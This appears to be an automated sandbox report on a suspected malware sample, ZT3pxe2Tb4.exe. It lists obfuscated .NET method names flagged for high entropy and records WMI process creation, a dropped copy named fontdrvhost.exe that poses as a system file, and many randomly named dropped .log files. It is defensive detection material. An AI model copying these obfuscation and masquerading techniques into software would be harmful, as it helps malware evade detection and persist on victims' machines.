Source: ZT3pxe2Tb4.exe, K4L4Kuoi6p2AyuhfbCC.cs	High entropy of concatenated method names: 'IWIoqF6bIA', 'G0GoMwB9FM', 'dpUo2GDsea', 'F3UoFLVeme', 'N14o6INJip', 'jAJGRjWPJC25ePw60pFF', 'nHvNjxWPCLp0jfSkeXpu', 'fSlpmNWPc9F03yBkXBNA', 'mMDalmWPAnZgwf7bfl73', 'yYBqwhWPziNyJgCZGJOM'
Source: ZT3pxe2Tb4.exe, c3y73XWUiip6Ld5dLTo.cs	High entropy of concatenated method names: '_413', 'V29', '_351', '_2Q4', 'H7R', 'lkUWFuNFdy3', 'cnqWi5B8Sbb', 'M19VD1WoSDuJrpgrj8qP', 'pja14cWo1QES1tkPJU7l', 'uDt9xnWogRh1wEaAPU4v'
Source: ZT3pxe2Tb4.exe, MtpvWFxndmfaRZi5UFW.cs	High entropy of concatenated method names: 'b7jxPEdlOl', 'QWPxExhebG', 'EeQxU586pA', 'YSZxvRENuU', 'W5Jx5YeqQm', 'UHYPo9WV3uT83YTQ9JAV', 'v6D7Y2WVWeAW47Ya9oLM', 'mHFnTeWVL773K60AOhR0', 'GZxHypWViOru2W9U05if', 'HcQXS7WVjtF69T8V3Hek'
Source: ZT3pxe2Tb4.exe, zuitJ08Miu7x1I3wlys.cs	High entropy of concatenated method names: 'X1eAnbWXBxMBKwPjYEGy', 'VrmBZRWXpYmseugRB2wB', 'hQTrWRWXuI6GnFoqcbBB', '_7kT', '_376', 'e298FM2M51', 'eM986RRr48', '_4p5', 'oOe8HFvTFp', 'UFs88NnOw9'
Source: ZT3pxe2Tb4.exe, EUZnvjhVDkfEOpF8qtm.cs	High entropy of concatenated method names: 'Bv3htjMnJu', 'KM3hm8NZQL', 'SkNhnte9pv', 'twIhfqM1bP', 'PK8hPsMiAN', 'aNNhECfeAe', '_4tg', 'wk8', '_59a', '_914'
Source: ZT3pxe2Tb4.exe, CudGtbJnUdMqyGkOyGM.cs	High entropy of concatenated method names: 'fIaWMU1mAAW', 'BSNWMv8UYy3', 'JV4WM5mwkCu', 'D8bWMIoHwnx', 'sxYWMQbD7Ot', 'os0WMRw0g3P', 'TQ0WMwcSvjY', 'ExdA6bgZHi', 'mvMWM4k2kei', 'E7qWMCmTBqQ'
Source: ZT3pxe2Tb4.exe, aL44LIoQoNd9326E6sO.cs	High entropy of concatenated method names: 'P2qowNiiSZ', 'Rlko4pRphs', 'vMIoCBKRXB', 'Xe9oc4EfrY', 'rASoJY2fkd', 'yl8oAiVTF3', 'cQdozCBLd9', 'ApPh39cIEt', 'BxMhW8dWmv', 'LWJhLASQo4'
Source: ZT3pxe2Tb4.exe, BQrhPBRjIY94a9BGjPW.cs	High entropy of concatenated method names: 'HP3RMVm9lv', 'YgHR2fhOSt', 'iBnRFAMuLb', 'mQCR6uPpHT', 'oJLRH2wO9D', 'VF4R8GMCij', 'sjyRN9GTr1', 'YLSRx4SAli', 'UueRsUgfUY', 'kknRTPiHVa'
Source: ZT3pxe2Tb4.exe, UxmYitTB4aVlnUcMt7B.cs	High entropy of concatenated method names: 'Cj1', '_1Td', 'Cz6', 'ht3', 'tfyTSFUAGk', '_947', 'QCKT169MAK', 'ypVTga4gGX', '_1f8', '_71D'
Source: ZT3pxe2Tb4.exe, xGXCVXRnqsrcf8MjaPh.cs	High entropy of concatenated method names: 'FO7RPWXO44', 'wXoRECg4CQ', 'iq1RUFSKyh', 'eArRviKlQa', 'G8BR5YQpHy', 'TWrRI71uvB', 'xoyRQVJ0Si', 'ki3RR3hIDT', 'IhL1A7WculSAWP8LKocM', 'mJkaSsWcDTkeYb1ioiOj'
Source: ZT3pxe2Tb4.exe, rqW7SwQjVj5lFN7Wtgl.cs	High entropy of concatenated method names: 'dcyQMJkeaa', 'tOeQ2Q2uwf', 'tfwQFrnTLy', 'qTfQ640qDw', '_0023Nn', 'Dispose', 'neen1HW4Q7eYdTJHolUk', 'xWV58CW451iad724ZUk0', 'IYDraoW4IasLwLkLEJd3', 'k5X6LcW4RJQ4X8b9E41c'
Source: ZT3pxe2Tb4.exe, gpZraAqE8t6bNqW3rKd.cs	High entropy of concatenated method names: 'P4RqciSxn6', 'l7FqJch5m4', 'olxH4hWa7mkiPXmG2Mu0', 'pR3KIyWaaQH9GXHf0CEE', 'sLZ6ulWalVIWCdwDY13q', 'R0fMWkF2v7', 'pUv33DWaXvxshWMWWEfg', 'OM5EMDWaVuo9ThEZe0od', 'djHGUUWaYUAqxBssoDSM', 'wNbYQVWa0w4bZfGaJ4N8'
Source: ZT3pxe2Tb4.exe, AWst4S0tAZLyykQy96r.cs	High entropy of concatenated method names: 'RPq0n2PjrA', 'aQs0fwrOdy', 'PyK0PIBaMx', 'iQZ0EgYKas', 'kIV0U5qXhZ', 'HgR0vAZei3', 'Kvk052gSC8', 'fu30I6hfs8', 'YwX0QW3lRg', 'cQ10RGX0po'
Source: ZT3pxe2Tb4.exe, BUP4lgHfnBc46OMHy7l.cs	High entropy of concatenated method names: '_34V', 'y7u', 'j1FWFXoeQm0', 'Mf4HEuBiOs', 'gt1', 'mlV8KAW07iHJ2oL9Rw42', 'cIWCdFW0aoINaN278L3a', 'TMEb5HW0l4SlX0bpidGv', 'OMTYv1W0dQ2XlXAVf5s2', 'hNp0pyW0Y64F6Q84Bwkw'
Source: ZT3pxe2Tb4.exe, N8RSOlLO9Gp83pgPicl.cs	High entropy of concatenated method names: 'EkALr3hiE2', 'eqDBhjWhs9DdI53SPxdm', 'FodORAWhNPLCW5AYpLxS', 'E4RJyvWhxysJYp0N97uo', 'nJIQWSWhTrpIG2Ew7w0a', 'LS4NfbWhkHKgU3WXZNBE', 'TKiLa66oEO', 'xsqLlyPY8p', 'rWOL7C6dr0', 'Xo5LdZoG37'
Source: ZT3pxe2Tb4.exe, NXd2dm6nao4utQP3xcT.cs	High entropy of concatenated method names: 'IDV', 'd65', 'y8xWFoSgNvU', 'HyrWj32dYif', 'QZ46PxKksQ', 'IMD5bRWYTFvlGpXSnOsx', 'zLsl3qWYkdBlcVpbsN8y', 'Kjl4aLWYDVR0bC9VwHUp', 'GQVrWJWYpMCkHsiPpbCB', 'nv45wtWYuyAlvUCi09hP'
Source: ZT3pxe2Tb4.exe, DBGeHyiDRG5ErPLiQ6i.cs	High entropy of concatenated method names: 'EoaioEV72M', 'lNWihCo1Z6', 'JJaiOKomkx', 'mySDNIWOFXUhnjZWuUji', 'VJssn2WOMketcQMImPrg', 'hpWxK7WO2cxNhTtCfV4Y', 'hkoi9CZE33', 'kuXiZQKEj7', 'APhP4kWOj8S96SPPAf9t', 'y7PtKJWOLQWYq4PAtqhC'
Source: ZT3pxe2Tb4.exe, M6SPGhQxLc1aSIS1yXU.cs	High entropy of concatenated method names: 'iOnWM0BC61s', 'plpWMXQYwLO', 'lPyWMVd2Aic', 'itEPLvWCyjBuu2MCGtLq', 'zTH20aWCbv2fd4jWnPAM', 'TyBwNeWCoxtMeV6Ry6yt', 'N71WFEG4ufV', 'plpWMXQYwLO', 'eoJ1gAWCaWdI7y3uxm5W', 'nZMD1DWCOB5iJkCNTTff'
Source: ZT3pxe2Tb4.exe, ryu8bxoG9xsMFGvwTbA.cs	High entropy of concatenated method names: 'HVNo1y2WyW', 'rsKognoaEK', 'ov8oehuEMy', 'Se7o9AV7hn', 'pMhoZFc2Kd', 'r1eoyubN37', 'P2cPI0WEBOipBLFZQYRo', 'Qy8WQ7WEpOfASBkVVI4Q', 'DRiRAAWEuHVsTqUbtId2', 'ioHVOEWEGEX05cROaYlY'
Source: ZT3pxe2Tb4.exe, aJCfPqCSvGmcYPx2WWy.cs	High entropy of concatenated method names: 'wYvC2oWJSQjM8vNAifol', 'SdyQ3DWJ1WqTCyxdwST5', 'GAtcco2xLB', 'iwb7QEWJZ9y47E5JDSdJ', 'Sdtwb0WJyqNiBg0vHhB8', 'S2pYfHWJbk4TmI3MwGrT', 'qrm6iwWJowNa6qDPrMVn', 'hi8CJyWJhltpoZrEOFu0', 'zmwpuEWJOPcQuiITomjM', 'a6fVVHWJKGUiogPjcy14'
Source: ZT3pxe2Tb4.exe, H95vgtMfmgjo8uRkCOU.cs	High entropy of concatenated method names: 'rqR23wC7es', 'GU62WrjbJE', 'PWA2LyMsUn', 'ImJ55hWlnpe9OeCUZlCl', 'scBP3fWlfC7NLDCCPi9L', 'OSDL9EWlt2VAcTKbuyf4', 'qZwoD8Wlmywgq8FH81mR', 'gRuMEtPn3m', 'LO2MUgTJB5', 'M8cMvT801X'
Source: ZT3pxe2Tb4.exe, hkf8C7M207boKQQHk30.cs	High entropy of concatenated method names: 'F9rMGCUPFm', 'T8MMSkHvSp', 'FWqjjpWl3Kdnm8xC13hB', 'TEDJbiWaAqLBX1ofYce8', 'BBVpAGWazHIKMqspRQ5t', 'O2gIv2WlWcwma4ZTm9qr', 'b2XMp3AsxN', 'uB0MuRFCHc', 'RtdQW0WaChlscADO9MVe', 'ji0nINWawERVw8t8cgHY'
Source: ZT3pxe2Tb4.exe, Cjj50nXGLj0ZTJOPI3k.cs	High entropy of concatenated method names: 'xqk72kWRd7lpvVj2i4gd', 'g8YFkYWRYpxcC3lkAPyK', 'GmAbPLWRlWAn3WDEVsUe', 'lgKJVXWR7tpcDfp9HiHA', 'xrtnDuWROL1SeRo3DgXi', 'i9uMy5WRKNfhNUCSuebp', 'rEAAbvWRoRuYrnbbhjQE', 'iPOn9vWRhcYoSE9ZstI5'
Source: ZT3pxe2Tb4.exe, odu5MJzCeylv0KMbdI.cs	High entropy of concatenated method names: 'TXmWWKUc0n', 'HjdWiojb1p', 'RAjWjQ6d1u', 'dydWqLosMI', 'Mg4WMv1Gjt', 'eChW2fd5WP', 'EQnW6fbSyQ', 'ObLsLoWboEG2PJZsAZQ6', 'hqvuGcWbhSY25VXY3sFl', 'caXqQLWbODBWG941kOvI'
Source: ZT3pxe2Tb4.exe, bBbFAXpRHjfbKj4fxXX.cs	High entropy of concatenated method names: 'Qt7Rv2Wnr9IAj9i0cKws', 'yUvPCIWnt1ehFJoq4WDx', 'dXbFFjWnmr3t8cvrTBk7', 'EIGgZT8XV5', 'OrUwo3WnEmlnw3VR7Y5Z', 'FwNpI2WnflmgpVPN3Ayn', 'cTHJHDWnP4LvhmMJS2pO', 'hMIgHqWnUqrnaHnXV9qV', 'eCsHC8WnvS6NKDoIemUX', 'eeQgoeB8OC'
Source: ZT3pxe2Tb4.exe, OpKD0lidMg583mZg3xK.cs	High entropy of concatenated method names: 'dUqi0YJoDy', 'HnpiXigub6', 'Gh2iVAmGd8', 'xIjirKi6Sf', 'duGitkPl9c', 'y7IimqIRpp', 'fb1inTdwuH', 'NsRifKqb1C', 'fPGiPqXkby', 'bVmiEaL05S'
Source: ZT3pxe2Tb4.exe, XEkmGGCp8qxEBME3Y23.cs	High entropy of concatenated method names: 'YGWLqUeNIwY', 'Sx5OMjWJsrks2TqkiKRa', 'Did4nkWJTAUTHwCpEBPq', 'QmL8X3WJkt9bKx1PpLXR', 'dHtYd7WJDHySugbch8nw'
Source: ZT3pxe2Tb4.exe, dJShQx7UFqhUNotsxMD.cs	High entropy of concatenated method names: '_25r', 'h65', 'SwC75nrve4', 'srn7IVMVqR', 'BBW7Qomx7j', 'AWD', 'd78', 'A6v', 'dqG', 'M96'
Source: ZT3pxe2Tb4.exe, kAsrVt28NY4q1okyEwG.cs	High entropy of concatenated method names: 'BIr2xcNqFZ', 'dk82sIm0vW', 'jpG2TbnqSO', 'e4FEaGWlRSHBGri3hIv1', 'zhfxs2WlwgoRVj83AnVi', 'p0eHciWl4L0IhqtEJEys', 'Yv8hBIWlCXtvruduVsxU', 'xdJkVRWlcpwLLnAKFvdp'
Source: ZT3pxe2Tb4.exe, C1w6GQH6uuREBUG2hXr.cs	High entropy of concatenated method names: 'J3ZHskveia', 'pBQjJFWYQPh1t9JgkYgA', 'WBk1saWY5WhkZ4FSZ6oU', 'B3mNHUWYIZCv7oRpASqq', 'I51kjUWYRupDdkECTZbm', 'CEI2s8WYwQgR9yiL3xrf', '_53Y', 'd65', 'I5aWjePS6oO', 'HltWj9uwY8t'
Source: ZT3pxe2Tb4.exe, T2T5iSIKET210oxdcXb.cs	High entropy of concatenated method names: 'k9fI7EETs2', 'mUaIXrVYrE', 'KP8ItxKMhF', 'M3eImN3guN', 'WAAInL1qAQ', 'fCJIfFiAaq', 'g03IPdB6v5', 'vwJIEgqTcu', '_0023Nn', 'Dispose'
Source: ZT3pxe2Tb4.exe, R6vBZyKah4J5acQK53O.cs	High entropy of concatenated method names: 'ctuK7c171V', 'vqcKdo0H8Z', 'zFrKYBWXK0', 'Y34', '_716', 'p32', 'Na8', 'X25', 'pT1', 'yeQK0jtSFx'
Source: ZT3pxe2Tb4.exe, An43bwHCmwL8IFbu9GJ.cs	High entropy of concatenated method names: 'My5', 'V4X', 'zT6', 'zxZHJ9e98l', 'FekWFtoTRR2', 'PZZHAgylGS', 'thxWFmfY0fs', 'uvkP6qW05LhwIa7chWKm', 'hmoUOUW0UCadcAZZYGW0', 'VBE0PZW0vqX3eM0CrIZ6'
Source: ZT3pxe2Tb4.exe, v8QDIMOi2wN3bwmtmQC.cs	High entropy of concatenated method names: 'QxiOqqJqfM', 'kQTOMtJXvW', '_7Bm', 'GtNO2VYuuP', 'qhyOFIOw0C', 'hEJO62a5O8', 'jVGOH3SCPl', 'upMaEeWUVAcZpI7fuQjC', 'TZuPWEWU0Dnllct0adbC', 'PZ39WkWUXWl89KkoFbE6'
Source: ZT3pxe2Tb4.exe, xIqDoaaMLvj33sZyqpu.cs	High entropy of concatenated method names: 'yBePW9W5XYZfgpUN59Q0', 'oxyK5hW5Y3CmiJNJhIrW', 'mgLPniW50b0dafQQ6lL0', 'nhdaFKcjqp', '_1R8', '_3eK', 'Kc2a6yELxd', 'jgnaHTkwRb', 'ItMa8MQI9M', 'tduaNrAr6x'
Source: ZT3pxe2Tb4.exe, q2rE5WIZ0VEXSXWmW5a.cs	High entropy of concatenated method names: 'Xyb', 'Sz4', 'zej', 'lArIb693gl', 'zETGaFW49vxvbPE9JdSq', 'pIDnegW4ZLkdImMww6xn', 'taZb3GW4yY2n29sIJae5', 'dPfXJlW4blxD65yVTLIl', 'b9Ku0eW4oSParpFmtR3y', 'FQXIvnW4hVnRaS6xYDhn'
Source: ZT3pxe2Tb4.exe, sfYYHd5IKSRE4RMxBy5.cs	High entropy of concatenated method names: 'C14WFPRAuQI', 'bg05RCylOu', 'UBF5wMH0Pf', 'Q3I54mBT2m', 'cZiDTqWwKD96H0gkCru9', 'PWXjVyWwa65XnaOAnQOw', 'MxP98XWwl6V88oeAT2UT', 'pBoGp9Ww7ykW5exjScRs', 'vM46H1WwdWdZ0oDUxhqZ', 'T0dVH5WwY8msljDW8Sga'
Source: ZT3pxe2Tb4.exe, JrurtS2lj31Cs6BodjK.cs	High entropy of concatenated method names: 'hKE2EOXnKJ', 'RSo2Un4Sal', 'oKA2vHxfL8', 'tnVhedW7Zo5BwmvGlB9i', 'avS6A3W7e5tQS5YoTCe1', 'g6J7weW79cByhyjgAtxN', 'fni2dY11RH', 'lGO2YclNWZ', 'NNv20fkohU', 'xnX2XSZJ00'
Source: ZT3pxe2Tb4.exe, IKFMi52wZfruKtYB7OI.cs	High entropy of concatenated method names: '_5Z7', '_58k', '_4x4', 'bU6', '_3t4', 'a5C', 'tF5d9XW7ldicFEOFWUsw', 'G1atOjW77ZvODKACGfN7', 'n6eXljW7dOU7bqG3gBZN', 'jbD2CNqj0a'
Source: ZT3pxe2Tb4.exe, zRgPCq6woxI16aoWYBS.cs	High entropy of concatenated method names: '_46E', 'd65', 'lXL6CE8ZCq', 'k1vWFOTw9qC', 'HyrWj32dYif', 'PhF6cMw4d3', 'E6ATqlWYbAKSNYqhYd3o', 'EgCAbDWYoQNVWF1VFLUe', 'PgWwWKWYZuk51jyofvEW', 'IQi8PWWYyNCKQ65Bjwy8'
Source: ZT3pxe2Tb4.exe, QcZOAO6vk8rAj7gtvNM.cs	High entropy of concatenated method names: '_8X5', 'd65', 'WSXWjpM8MYd', 'rG7WjuoDpE8', 'hwHWFhIXyCn', 'HyrWj32dYif', 'sEEjUIWY1LK45Tyk1509', 'SxplQFWYGFePOONVuhoJ', 'sMSZrMWYSDKRfQkp4gwZ', 'JP1HyGWYg2Ylpi5jadoX'
Source: ZT3pxe2Tb4.exe, lLDVmHLWjUhCgYrl3Rg.cs	High entropy of concatenated method names: '_5E9', 'V29', 'e6S', '_2Q4', 'CVq', 'HhNWFG8bXcH', 'cnqWi5B8Sbb', 'X8AQLdWolZGJxE38xfCR', 'Y7Sd6lWo722K81KQJ3FY', 'TCt6L4WodsXcKPX2ZL6w'
Source: ZT3pxe2Tb4.exe, V8766ojZZ4pu3HNSGos.cs	High entropy of concatenated method names: 'arCjbqDUrl', 'bU3jomaRAl', 'fxejh6Pdhr', 'T7GjOXB093', 'lgdb66WKsWBGWtTbOSLg', 'zgUv20WKTs7gtxMXsqGp', 'wN05nXWKkTuVfTyOMk32', 'NOLUt4WKD2vR98fuVTVr', 'ryJ3C6WKpOS3bm1ZbBMx', 'ew0LLVWKuBM2g2r0q5Y0'
Source: ZT3pxe2Tb4.exe, WVZ0XYgYvlJtODagQ4F.cs	High entropy of concatenated method names: 'ahobZ0h2pM', 'n71byrebkH', 'MTWkW5WPKDbrUbfHH11G', 'r7Cs7SWPhPaojModqhZn', 'OBa3sgWPOefmy3Y7tWD7', 'Gk309gWPattNTrjvlY2w', 'T1rEcAWPlAtWwwg6dj46', 'WPBbavVqcE', 'HHiIiIWP0OwIOiilHw3g', 'pU4vH4WPdRnGTtrF1Viv'
Source: ZT3pxe2Tb4.exe, GYCJ4CFUhCyW29mDrt9.cs	High entropy of concatenated method names: 'pyKFwXLJtt', 'm4eF4gHWm3', 'SQhFCmN6qa', 'JM4FcXkOwE', 'cmeFJSEqwv', 'O2eFATvm8h', 'zW6FzaBrNf', 'Jwu2q1WdZWckrAEECoy7', 'cUp2nUWdyO0LpGWuhhw5', 'dv4QX0WdeE5UyisZg8xV'
Source: ZT3pxe2Tb4.exe, IpLxPxiJdq7xL6uVcaa.cs	High entropy of concatenated method names: 'ahWjTuYles', 'rEkPJnWKWqQ9i3GBmu5C', 'Pc1X37WOz09bHfLGhpPC', 'qTJKICWK3Wy4tyITLdPj', 'pRNLW4WKqOVqJjVhvi9s', 'h58omOWKiPhADiSt5yW6', 'gZpMuQWKjkfbwlRe1pwW', 'MiAk6QWKMaI9bmcWvWeP', 'toujg5o3n4', 'rR1kOeWKFE608C3DKwrs'
Source: ZT3pxe2Tb4.exe, hMT9ywHlIqlcYuym49Q.cs	High entropy of concatenated method names: 'Yi3', 'zMtWF7R1TaH', 'RLJHd2wyg9', 'mRsWFdCKttI', 'GGqUqJW0uIaM5SGOMZRL', 'NZIZbQW0Bp8snB9vxcS9', 'gLQnlPW0DTrsZoPoqhfm', 'vWWgG2W0pktMsZrUDE9s', 'QoYXryW0GY9vbhW580db', 'k8u5veW0S33SNv9uhQ8U'
Source: ZT3pxe2Tb4.exe, oYwZnTJ15040JqFbW6V.cs	High entropy of concatenated method names: 'N1aJlXhMBd', 'rRwJ7vQZj8', 'yr7JdB9frj', 'mb7JY6hFXI', 'WRhJ0vPybJ', 'FtEJX7oEE6', 'GX4JVOiVXt', 'JJ8JrGN4dp', 'lNJJtSsDGp', 'OB8Jmb4KMh'
Source: ZT3pxe2Tb4.exe, a3TVa9pePG9oxZpcv7.cs	High entropy of concatenated method names: 'L2x7TpOb1', 'xRbFGtWyw7LZDM6uhCl0', 'TCyhTVWyQPyXwgXJmVlE', 'JZ2x2iWyROMTIGDHNsRK', 'v0WBgUSfr', 'HYRGaqCYV', 'BPvSfs5rf', 'Wku1NZ6GR', 'UVkgJAyeq', 'eEieZ8pBs'
Source: ZT3pxe2Tb4.exe, m9y5wALnB8SHFKsKEAV.cs	High entropy of concatenated method names: 'zbSLJgGDnv', 'pvFLAKXC3u', 'kpoLzxUEwQ', 'sF2nYfWh70XvZxUVL3LY', 'ugO4ESWhaH24Xk31gykB', 'ACFtYpWhl3HKL3M6ner0', 'XL5iq82DK7', 'QdDyGuWhXSFNpWWw30Be', 'QD3K41WhY9jqBgA0Ia1X', 'pu2RGGWh0JW2wxAbrAbM'

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\IsWIxvZJ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\auteTnDC.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\fzXEwQRC.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\zTojkKNX.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\AaPSReOe.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\uztLDTCs.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\hezDLgou.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\tIxJOpqh.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\CkrRJHNx.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\bYjfzcZg.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\xOrrZDRn.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\yEAAOeyR.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\WvXEaKPX.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\ntFcgnCN.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\feqUKmVF.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\bAJNFhyM.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\WAZwZzli.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\BxnIYuRz.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\AppData\Local\fontdrvhost.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\EQFIYaOX.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\fLnmpTPV.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\RMfXVWDe.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\EOpBrqDR.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\nJodFojJ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\UbSwNisy.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\aYVnMXzh.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\RnzHiPIs.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\RMCoLrQk.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\uRiBlhjd.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\PCgnLZlk.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\qxbJOXLg.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\CGTrJaEm.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\YMjefUJa.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\hRSCUTxn.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\CgRzmzKC.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\HuSZzPsz.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\LovAYRCw.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\inkviYhq.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\pzYaRqdW.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\piqUgtXk.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\hJcmyZDP.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\eCwwaQCH.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\QkEpPQey.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\tAOrkGQb.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\qiKKKJQB.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\lThKWNPp.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\cnAeDqUL.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\ELDRalsN.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\oTDkKMId.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\IdUqmnRm.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\ipFMCTyG.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\DACRVJoK.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\IbKgwPay.log	Jump to dropped file
Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	File created: C:\Users\user\Desktop\avWEvUWS.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\ldamqVhj.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\YsHvxEyH.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\KWVhlfdm.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\aABfDneW.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\YnJNkaiG.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\KOmOGvDg.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\zldaSYtH.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\FvSbvlyH.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\mbeUnBPt.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\MLVQXpXH.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\NmOPODYO.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\JavyIngh.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\YBjETBXN.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\pntLeisv.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File created: C:\Users\user\Desktop\KszgdGmQ.log	Jump to dropped file
